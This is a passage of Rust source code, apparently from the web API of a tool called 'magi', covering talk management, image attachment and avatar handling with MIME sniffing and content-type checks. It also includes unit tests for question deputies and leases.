9292 State(ui): State<Arc<Ui>>,
9293 Path(id): Path<String>,
9294 Json(body): Json<TalkImplementers>,
9295) -> ApiResult<Json<TalkView>> {
9296 let id = {
9297 let ui = Arc::clone(&ui);
9298 blocking(move || resolve_talk(&ui.talks, &id)).await?
9299 };
9300 let repo = {
9301 let ui = Arc::clone(&ui);
9302 let id = id.clone();
9303 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9304 };
9305 let cfg = config_for(&repo).await?;
9306 {
9311 let ui = Arc::clone(&ui);
9312 let id = id.clone();
9313 let cfg = cfg.clone();
9314 let wanted = body.implementers;
9315 blocking(move || {
9316 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9317 refuse_if_closed(&ui.talks.get(&id)?)
9318 })
9319 .await?;
9320 }
9321 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9322 return Err(ApiError::conflict(
9323 "a talk turn is running; change the implementers once it has answered",
9324 ));
9325 };
9326 let switched = {
9327 let ui = Arc::clone(&ui);
9328 let id = id.clone();
9329 let cfg = cfg.clone();
9330 blocking(move || {
9331 let chosen =
9332 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9333 let mut talk = ui.talks.get(&id)?;
9334 if !talk.status.open() {
9335 return Err(ApiError::conflict(format!(
9336 "talk {} is {} and takes no more turns",
9337 talk.short(),
9338 talk.status.as_str()
9339 )));
9340 }
9341 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9342 Ok(talk)
9343 })
9344 .await
9345 };
9346 let observed = ui.queued_generation(&id);
9348 let fresh = {
9349 let ui = Arc::clone(&ui);
9350 let id = id.clone();
9351 blocking(move || Ok(ui.talks.get(&id)?)).await
9352 };
9353 let draining = match fresh {
9354 Ok(talk) => {
9355 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9356 }
9357 Err(_) => false,
9358 };
9359 let talk = switched?;
9360 Ok(Json(TalkView::new(talk, draining, &ui)))
9361}
9362
9363async fn talk_close(
9365 State(ui): State<Arc<Ui>>,
9366 Path(id): Path<String>,
9367) -> ApiResult<Json<TalkView>> {
9368 blocking(move || {
9369 let id = resolve_talk(&ui.talks, &id)?;
9370 let mut talk = ui.talks.get(&id)?;
9371 talk::close(&mut talk, &ui.talks)?;
9372 let thinking = ui.is_thinking(&talk.id);
9373 Ok(Json(TalkView::new(talk, thinking, &ui)))
9374 })
9375 .await
9376}
9377
9378async fn talk_reopen(
9380 State(ui): State<Arc<Ui>>,
9381 Path(id): Path<String>,
9382) -> ApiResult<Json<TalkView>> {
9383 blocking(move || {
9384 let id = resolve_talk(&ui.talks, &id)?;
9385 let mut talk = ui.talks.get(&id)?;
9386 talk::reopen(&mut talk, &ui.talks)?;
9387 let thinking = ui.is_thinking(&talk.id);
9388 Ok(Json(TalkView::new(talk, thinking, &ui)))
9389 })
9390 .await
9391}
9392
9393async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9403 blocking(move || {
9404 let id = resolve_talk(&ui.talks, &id)?;
9405 ui.talks.remove(&id)?;
9406 Ok(StatusCode::NO_CONTENT)
9407 })
9408 .await
9409}
9410
9411fn talk_ids(root: &FsPath) -> Vec<String> {
9412 std::fs::read_dir(root)
9413 .into_iter()
9414 .flatten()
9415 .flatten()
9416 .filter_map(|e| {
9417 let path = e.path();
9418 if path.extension().is_some_and(|ext| ext == "json") {
9419 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9420 } else {
9421 None
9422 }
9423 })
9424 .collect()
9425}
9426
9427fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9429 if plain_record_id(id) && store.path_of(id).is_file() {
9430 return Ok(id.to_owned());
9431 }
9432 pick(talk_ids(store.root()), id, "talk")
9433}
9434
9435async fn talk_attachment_post(
9438 State(ui): State<Arc<Ui>>,
9439 Path(id): Path<String>,
9440 headers: HeaderMap,
9441 body: Bytes,
9442) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9443 let mime = validate_attachment(&headers, &body)?;
9444 let name = filename_header(&headers);
9445 let data = body.to_vec();
9446 blocking(move || {
9447 let id = resolve_talk(&ui.talks, &id)?;
9448 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9449 Ok((StatusCode::CREATED, Json(att)))
9450 })
9451 .await
9452}
9453
9454async fn talk_attachment_get(
9457 State(ui): State<Arc<Ui>>,
9458 Path((id, att)): Path<(String, String)>,
9459) -> ApiResult<Response> {
9460 blocking(move || {
9461 let id = resolve_talk(&ui.talks, &id)?;
9462 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9463 return Err(ApiError::not_found(format!(
9464 "talk {id} has no attachment `{att}`"
9465 )));
9466 };
9467 Ok(attachment_response(&meta.mime, data))
9468 })
9469 .await
9470}
9471
9472fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9475 let id = avatar_encode(&p.id);
9476 format!(
9477 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9478 persona_icon::fingerprint(
9479 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9480 )
9481 )
9482}
9483
9484#[derive(Debug, Default, Deserialize)]
9485struct AvatarQuery {
9486 persona: Option<String>,
9487 builtin: Option<String>,
9489}
9490
9491const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9493
9494fn builtin_avatar(id: &str) -> Response {
9495 svg_avatar(persona_icon::builtin_svg(id))
9496}
9497
9498async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9499 raster_or_builtin(
9500 read_icon_file(&avatar_setting_path(&ui.home, None))
9501 .filter(|_| q.builtin.is_none())
9502 .as_deref(),
9503 persona_icon::operator_svg(),
9504 )
9505}
9506
9507fn svg_avatar(svg: &'static str) -> Response {
9508 (
9509 [
9510 (header::CONTENT_TYPE, "image/svg+xml"),
9511 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9512 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9513 (header::CACHE_CONTROL, "no-cache"),
9514 ],
9515 svg,
9516 )
9517 .into_response()
9518}
9519
9520fn avatar_encode(value: &str) -> String {
9521 value
9522 .bytes()
9523 .map(|b| {
9524 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9525 char::from(b).to_string()
9526 } else {
9527 format!("%{b:02X}")
9528 }
9529 })
9530 .collect()
9531}
9532
9533fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9535 let Some(id) = persona else {
9536 return home.join("avatars/operator.data");
9537 };
9538 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9539 let mut path = home.join("avatars/personas");
9540 for chunk in encoded.as_bytes().chunks(100) {
9541 path.push(std::str::from_utf8(chunk).expect("hex"));
9542 }
9543 path.join("icon.data")
9544}
9545
9546fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9547 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9548 Some(value) if value == "builtin" => Some(String::new()),
9549 Some(value) => Some(value),
9550 None => configured.map(str::to_owned),
9551 }
9552}
9553
9554fn operator_icon_url(home: &FsPath) -> String {
9555 format!(
9556 "/avatars/operator.svg?v={}",
9557 persona_icon::fingerprint(
9558 read_icon_file(&avatar_setting_path(home, None))
9559 .as_deref()
9560 .or(Some(persona_icon::operator_svg()))
9561 )
9562 )
9563}
9564
9565fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9566 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9567 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9568 attachment_response(mime, bytes)
9569 }
9570 _ => svg_avatar(builtin),
9571 };
9572 response
9573 .headers_mut()
9574 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9575 response
9576}
9577
9578#[derive(Default, Deserialize)]
9579struct AvatarSettingsQuery {
9580 repo: Option<PathBuf>,
9581 persona: Option<String>,
9582 builtin: Option<String>,
9583 inherit: Option<String>,
9584}
9585
9586fn avatar_settings_specs(
9587 ui: &Ui,
9588 repo: Option<PathBuf>,
9589) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9590 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9591 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9592 .map(|cfg| cfg.talk.personas)
9593 .unwrap_or_default();
9594 Ok((repo, specs))
9595}
9596
9597fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9598 let Ok(entries) = std::fs::read_dir(path) else {
9599 return;
9600 };
9601 for entry in entries.flatten() {
9602 let name = entry.file_name().to_string_lossy().into_owned();
9603 if name == "icon.data" {
9604 let bytes: Option<Vec<u8>> = prefix
9605 .as_bytes()
9606 .chunks(2)
9607 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9608 .collect();
9609 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9610 out.push(id);
9611 }
9612 } else if name.len() <= 100
9613 && !name.is_empty()
9614 && name.bytes().all(|b| b.is_ascii_hexdigit())
9615 && entry.file_type().is_ok_and(|t| t.is_dir())
9616 {
9617 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9618 }
9619 }
9620}
9621
9622async fn avatar_settings_get(
9623 State(ui): State<Arc<Ui>>,
9624 Query(q): Query<AvatarSettingsQuery>,
9625) -> ApiResult<Json<serde_json::Value>> {
9626 blocking(move || {
9627 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9628 let mut catalog = persona::catalog(&specs);
9629 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9630 let mut saved = Vec::new();
9631 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9632 for id in saved {
9633 if !catalog.iter().any(|p| p.id == id) {
9634 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9635 }
9636 }
9637 let personas: Vec<_> = catalog.iter().map(|p| {
9638 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9639 let override_state = match saved.as_deref() {
9640 Some("builtin") => "builtin",
9641 Some(_) => "custom",
9642 None => "inherit",
9643 };
9644 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9645 serde_json::json!({"id":p.id,"name":p.name,
9646 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9647 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9648 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9649 }).collect();
9650 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9651 }).await
9652}
9653
9654async fn settings_persona_avatar(
9655 State(ui): State<Arc<Ui>>,
9656 Query(q): Query<AvatarSettingsQuery>,
9657) -> ApiResult<Response> {
9658 blocking(move || {
9659 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9660 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9661 let found = persona::find(&specs, id);
9662 let icon =
9663 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9664 Ok(raster_or_builtin(
9665 icon.as_deref().filter(|_| q.builtin.is_none()),
9666 persona_icon::builtin_svg(id),
9667 ))
9668 })
9669 .await
9670}
9671
9672fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9673 if q.persona
9674 .as_ref()
9675 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9676 {
9677 return Err(ApiError::bad_request("invalid persona id"));
9678 }
9679 Ok(())
9680}
9681
9682async fn avatar_settings_put(
9683 State(ui): State<Arc<Ui>>,
9684 Query(q): Query<AvatarSettingsQuery>,
9685 Json(upload): Json<MagiIconUpload>,
9686) -> ApiResult<Json<serde_json::Value>> {
9687 blocking(move || {
9688 validate_avatar_target(&q)?;
9689 save_icon_file(
9690 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9691 &upload.icon,
9692 )
9693 .map_err(ApiError::bad_request_from)?;
9694 Ok(Json(serde_json::json!({"saved":true})))
9695 })
9696 .await
9697}
9698
9699async fn avatar_settings_delete(
9700 State(ui): State<Arc<Ui>>,
9701 Query(q): Query<AvatarSettingsQuery>,
9702) -> ApiResult<Json<serde_json::Value>> {
9703 blocking(move || {
9704 validate_avatar_target(&q)?;
9705 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9706 if q.persona.is_some() && q.inherit.is_none() {
9707 atomic_icon_write(&path, "builtin")?;
9708 } else {
9709 match std::fs::remove_file(path) {
9710 Ok(()) => (),
9711 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9712 Err(e) => return Err(anyhow::Error::from(e).into()),
9713 }
9714 }
9715 Ok(Json(serde_json::json!({"saved":true})))
9716 })
9717 .await
9718}
9719
9720fn magi_icon_path(home: &FsPath) -> PathBuf {
9722 home.join("magi-icon.data")
9723}
9724
9725fn read_magi_icon(home: &FsPath) -> Option<String> {
9726 read_icon_file(&magi_icon_path(home))
9727}
9728
9729fn read_icon_file(path: &FsPath) -> Option<String> {
9730 let metadata = std::fs::metadata(path).ok()?;
9731 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9732 return None;
9733 }
9734 let file = std::fs::File::open(path).ok()?;
9735 use std::io::Read;
9736 let mut text = String::new();
9737 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9738 .read_to_string(&mut text)
9739 .ok()?;
9740 if text.len() > persona_icon::ICON_MAX_BYTES {
9741 return None;
9742 }
9743 if text == "builtin" {
9744 return Some(text);
9745 }
9746 validate_uploaded_icon(&text).ok()?;
9747 Some(text)
9748}
9749
9750fn magi_icon_url(home: &FsPath) -> String {
9751 format!(
9752 "/avatars/magi?v={}",
9753 persona_icon::fingerprint(read_magi_icon(home).as_deref())
9754 )
9755}
9756
9757async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9758 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9759}
9760
9761#[derive(Deserialize)]
9762struct MagiIconUpload {
9763 icon: String,
9764}
9765
9766fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9767 save_icon_file(&magi_icon_path(home), icon)
9768}
9769
9770fn validate_uploaded_icon(icon: &str) -> Result<()> {
9771 if !icon.starts_with("data:") {
9772 anyhow::bail!("upload a raster image");
9773 }
9774 let (mime, bytes) = persona_icon::load(icon)?;
9775 if sniffed_mime(&bytes) != Some(mime) {
9776 anyhow::bail!("image content does not match its type");
9777 }
9778 Ok(())
9779}
9780
9781fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9782 validate_uploaded_icon(icon)?;
9783 atomic_icon_write(path, icon)
9784}
9785
9786fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9787 let home = path.parent().expect("icon parent");
9788 std::fs::create_dir_all(home)?;
9789 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9790 let temp = home.join(format!(".magi-icon-{token}.tmp"));
9791 let result = (|| -> Result<()> {
9792 use std::io::Write;
9793 let mut file = std::fs::OpenOptions::new()
9794 .write(true)
9795 .create_new(true)
9796 .open(&temp)?;
9797 file.write_all(icon.as_bytes())?;
9798 file.sync_all()?;
9799 std::fs::rename(&temp, path)?;
9800 Ok(())
9801 })();
9802 let _ = std::fs::remove_file(temp);
9803 result?;
9804 Ok(())
9805}
9806
9807async fn magi_icon_put(
9808 State(ui): State<Arc<Ui>>,
9809 Json(upload): Json<MagiIconUpload>,
9810) -> ApiResult<Json<serde_json::Value>> {
9811 blocking(move || {
9812 if !upload.icon.starts_with("data:") {
9813 return Err(ApiError::bad_request("upload a raster image"));
9814 }
9815 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9816 if sniffed_mime(&bytes) != Some(mime) {
9817 return Err(ApiError::bad_request(
9818 "image content does not match its type",
9819 ));
9820 }
9821 save_magi_icon(&ui.home, &upload.icon)?;
9822 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9823 })
9824 .await
9825}
9826
9827async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9828 blocking(move || {
9829 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9830 Ok(()) => (),
9831 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9832 Err(e) => return Err(anyhow::Error::from(e).into()),
9833 }
9834 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9835 })
9836 .await
9837}
9838
9839async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9840 let icon = (q.builtin.is_none())
9841 .then(|| read_magi_icon(&ui.home))
9842 .flatten();
9843 let mut response = match icon
9844 .as_deref()
9845 .and_then(|icon| persona_icon::load(icon).ok())
9846 {
9847 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9848 attachment_response(mime, bytes)
9849 }
9850 _ => svg_avatar(persona_icon::magi_svg()),
9851 };
9852 response
9853 .headers_mut()
9854 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9855 response
9856}
9857
9858async fn talk_avatar(
9863 State(ui): State<Arc<Ui>>,
9864 Path(id): Path<String>,
9865 Query(q): Query<AvatarQuery>,
9866) -> ApiResult<Response> {
9867 blocking(move || {
9868 let id = resolve_talk(&ui.talks, &id)?;
9869 let talk = ui.talks.get(&id)?;
9870 let wanted = q
9871 .persona
9872 .as_deref()
9873 .map(str::trim)
9874 .filter(|p| !p.is_empty())
9875 .unwrap_or(&talk.persona)
9876 .to_owned();
9877 let specs = match Config::discover(&talk.repo, None) {
9878 Ok((cfg, _)) => cfg.talk.personas,
9879 Err(e) => {
9880 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9881 Vec::new()
9882 }
9883 };
9884 let found = persona::find(&specs, &wanted);
9885 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9887 let icon = effective_persona_icon(
9888 &ui.home,
9889 &wanted,
9890 found.as_ref().and_then(|p| p.icon.as_deref()),
9891 );
9892 if found.is_none() && icon.is_none() {
9893 return Ok(builtin_avatar(persona::DEFAULT_ID));
9894 }
9895 let Some(icon) = icon
9896 .as_deref()
9897 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9898 else {
9899 return Ok(builtin_avatar(&wanted));
9900 };
9901 let Some(found) = found else {
9902 return Ok(raster_or_builtin(
9903 Some(icon),
9904 persona_icon::builtin_svg(&wanted),
9905 ));
9906 };
9907 match persona_icon::load(icon) {
9908 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9909 let mut res = attachment_response(mime, bytes);
9910 res.headers_mut().insert(
9911 header::CACHE_CONTROL,
9912 header::HeaderValue::from_static("no-cache"),
9913 );
9914 Ok(res)
9915 }
9916 Ok((mime, _)) => {
9917 tracing::warn!(
9918 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9919 found.id
9920 );
9921 Ok(builtin_avatar(&found.id))
9922 }
9923 Err(e) => {
9924 tracing::warn!(
9925 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9926 found.id
9927 );
9928 Ok(builtin_avatar(&found.id))
9929 }
9930 }
9931 })
9932 .await
9933}
9934
9935fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9946 if data.len() > ATTACHMENT_MAX_BYTES {
9947 return Err(ApiError::bad_request(format!(
9948 "attachment is {} bytes, over the {} MiB limit",
9949 data.len(),
9950 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9951 ))
9952 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9953 }
9954 if data.is_empty() {
9955 return Err(ApiError::bad_request("attachment is empty"));
9956 }
9957 let declared = declared_mime(headers)?;
9958 match sniffed_mime(data) {
9959 Some(sniffed) if sniffed == declared => Ok(declared),
9960 Some(sniffed) => Err(ApiError::bad_request(format!(
9961 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9962 ))),
9963 None => Err(ApiError::bad_request(
9964 "the file's bytes do not match any accepted image format",
9965 )),
9966 }
9967}
9968
9969fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9973 let raw = headers
9974 .get(header::CONTENT_TYPE)
9975 .and_then(|v| v.to_str().ok())
9976 .unwrap_or("")
9977 .split(';')
9978 .next()
9979 .unwrap_or("")
9980 .trim()
9981 .to_ascii_lowercase();
9982 ATTACHMENT_MIME_WHITELIST
9983 .iter()
9984 .find(|&&m| m == raw)
9985 .copied()
9986 .ok_or_else(|| {
9987 if raw == "image/svg+xml" {
9988 ApiError::bad_request(
9989 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9990 not just a picture",
9991 )
9992 } else if raw.is_empty() {
9993 ApiError::bad_request("Content-Type is required for an attachment upload")
9994 } else {
9995 ApiError::bad_request(format!(
9996 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9997 image/gif or image/webp"
9998 ))
9999 }
10000 })
10001}
10002
10003fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10006 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10007 Some("image/png")
10008 } else if data.starts_with(b"\xff\xd8\xff") {
10009 Some("image/jpeg")
10010 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10011 Some("image/gif")
10012 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10013 Some("image/webp")
10014 } else {
10015 None
10016 }
10017}
10018
10019fn filename_header(headers: &HeaderMap) -> String {
10025 headers
10026 .get(FILENAME_HEADER)
10027 .and_then(|v| v.to_str().ok())
10028 .map(str::trim)
10029 .filter(|s| !s.is_empty())
10030 .unwrap_or("attachment")
10031 .to_owned()
10032}
10033
10034fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10041 let content_type = ATTACHMENT_MIME_WHITELIST
10042 .iter()
10043 .find(|&&m| m == mime)
10044 .copied()
10045 .unwrap_or("application/octet-stream");
10046 (
10047 [
10048 (header::CONTENT_TYPE, content_type),
10049 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10050 ],
10051 body,
10052 )
10053 .into_response()
10054}
10055
10056async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10064 let repo = repo.to_path_buf();
10065 blocking(move || {
10066 let (cfg, _) = Config::discover(&repo, None)?;
10067 Ok(cfg)
10068 })
10069 .await
10070}
10071
10072fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10078 let mut hits = ids
10079 .into_iter()
10080 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10081 match (hits.next(), hits.next()) {
10082 (Some(one), None) => Ok(one),
10083 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10084 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10085 "`{prefix}` matches more than one {what}, including {a} and {b}"
10086 ))),
10087 }
10088}
10089
10090#[cfg(test)]
10091mod tests {
10092
10093 #[test]
10094 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10095 let dir = tempfile::tempdir().unwrap();
10096 let store = ask::Questions::at(dir.path().join("questions"));
10097 let mut q = Question::new(
10098 "task".to_owned(),
10099 "conduct".to_owned(),
10100 "conduct".to_owned(),
10101 "choose".to_owned(),
10102 String::new(),
10103 vec!["keep".to_owned()],
10104 );
10105 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10106 q.say("why?").unwrap();
10107 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10108 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10109 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10110 store.put(&mut q).unwrap();
10111 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10112 assert_eq!(store.count_needs_owner(), 1);
10113 store.beat(&q.id, ask::WaiterKind::Deputy);
10114 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10115 assert_eq!(store.count_needs_owner(), 0);
10116 let mut stale = store.read_lease(&q.id).unwrap();
10117 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10118 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10119 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10120 assert!(view.deputy_exhausted);
10121 assert!(view.waiting_on_agent);
10122 assert_eq!(view.question.choices, ["keep"]);
10123 store.drop_lease(&q.id);
10124 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10125 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10126 }
10127
10128 #[test]
10129 fn holder_reads_the_lease_not_the_record() {
10130 let mut q = Question::new(
10131 "run".to_owned(),
10132 "implement".to_owned(),
10133 "impl-A".to_owned(),
10134 "which?".to_owned(),
10135 String::new(),
10136 Vec::new(),
10137 );
10138 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10139 q.cwd = Some("/tmp".to_owned());
10140 assert_eq!(holder_of(&q, None), Some("nobody"));
10141 let beat = |kind, ago: i64| ask::Lease {
10142 kind,
10143 pid: 1,
10144 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10145 .unwrap(),
10146 };
10147 let fresh = beat(ask::WaiterKind::Asker, 1);
10148 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10149 let daemon = beat(ask::WaiterKind::Daemon, 1);
10150 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10151 let stale = beat(ask::WaiterKind::Asker, 3600);
10152 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10153
10154 let mut c = Question::new(
10157 "task".to_owned(),
10158 crate::conduct::NODE.to_owned(),
10159 "conduct".to_owned(),
10160 "which?".to_owned(),
10161 String::new(),
10162 Vec::new(),
10163 );
10164 assert_eq!(holder_of(&c, None), Some("nobody"));
10165 c.cwd = Some("/tmp".to_owned());
10166 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10167 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10168 let deputy = beat(ask::WaiterKind::Deputy, 1);
10169 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10170 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10171
10172 let mut r = Question::new(
10174 String::new(),
10175 crate::bump::NOTICE_NODE.to_owned(),
10176 "release-watch".to_owned(),
10177 "stuck?".to_owned(),
10178 String::new(),
10179 vec!["hold".to_owned()],
10180 );
10181 assert_eq!(holder_of(&r, None), Some("nobody"));
10182 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10183 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10184 r.deputy = None;
10186 r.seat = "bump".to_owned();
10187 assert_eq!(holder_of(&r, None), None);
10188
10189 let mut m = Question::new(
10192 "run".to_owned(),
10193 crate::land::APPROVAL_NODE.to_owned(),
10194 "land".to_owned(),
10195 "merge?".to_owned(),
10196 String::new(),
10197 Vec::new(),
10198 );
10199 assert_eq!(holder_of(&m, None), Some("nobody"));
10200 assert_eq!(
10201 holder_of(&m, Some(&fresh)),
10202 Some("asker"),
10203 "a live explicit wait is a listener even before a deputy is attached"
10204 );
10205 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10206 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10207 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10208 assert_eq!(holder_of(&m, None), Some("nobody"));
10209 }
10210
10211 fn stub_config() -> Config {
10212 Config {
10215 agents: vec![crate::config::AgentSpec {
10216 id: "stub".to_owned(),
10217 kind: AgentKind::Command,
10218 model: None,
10219 command: vec!["true".to_owned()],
10220 extra_args: Vec::new(),
10221 env: Default::default(),
10222 prompt_delivery: None,
10223 }],
10224 ..Config::default()
10225 }
10226 }
10227
10228 fn plain_question(seat: &str) -> Question {
10229 Question::new(
10230 String::new(),
10231 "n".to_owned(),
10232 seat.to_owned(),
10233 "s".to_owned(),
10234 String::new(),
10235 Vec::new(),
10236 )
10237 }
10238
10239 #[test]
10240 fn deputies_enabled_follows_the_config() {
10241 let on = stub_config();
10242 assert!(crate::deputy::can_start(Some(&on), ""));
10243 assert!(crate::deputy::can_start(Some(&on), "stub"));
10244 let mut off = on.clone();
10245 off.daemon.max_deputies = 0;
10246 assert!(!crate::deputy::can_start(Some(&off), ""));
10247 let mut empty = on;
10248 empty.agents.clear();
10249 assert!(!crate::deputy::can_start(Some(&empty), ""));
10250 assert!(!crate::deputy::can_start(None, ""));
10251 }
10252
10253 #[test]
10254 fn question_views_load_the_config_once() {
10255 let dir = TempDir::new().unwrap();
10256 let store = ask::Questions::at(dir.path().to_path_buf());
10257 let mut with_deputy = plain_question("b");
10258 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10259 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10260
10261 let calls = std::cell::Cell::new(0usize);
10262 let views = question_views(qs.clone(), &store, || {
10263 calls.set(calls.get() + 1);
10264 Some(stub_config())
10265 });
10266 assert_eq!(calls.get(), 1);
10267 assert_eq!(views.len(), 3);
10268 for (v, q) in views.iter().zip(&qs) {
10269 assert_eq!(
10270 v.deputies_enabled,
10271 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10272 );
10273 }
10274
10275 let views = question_views(qs, &store, || None);
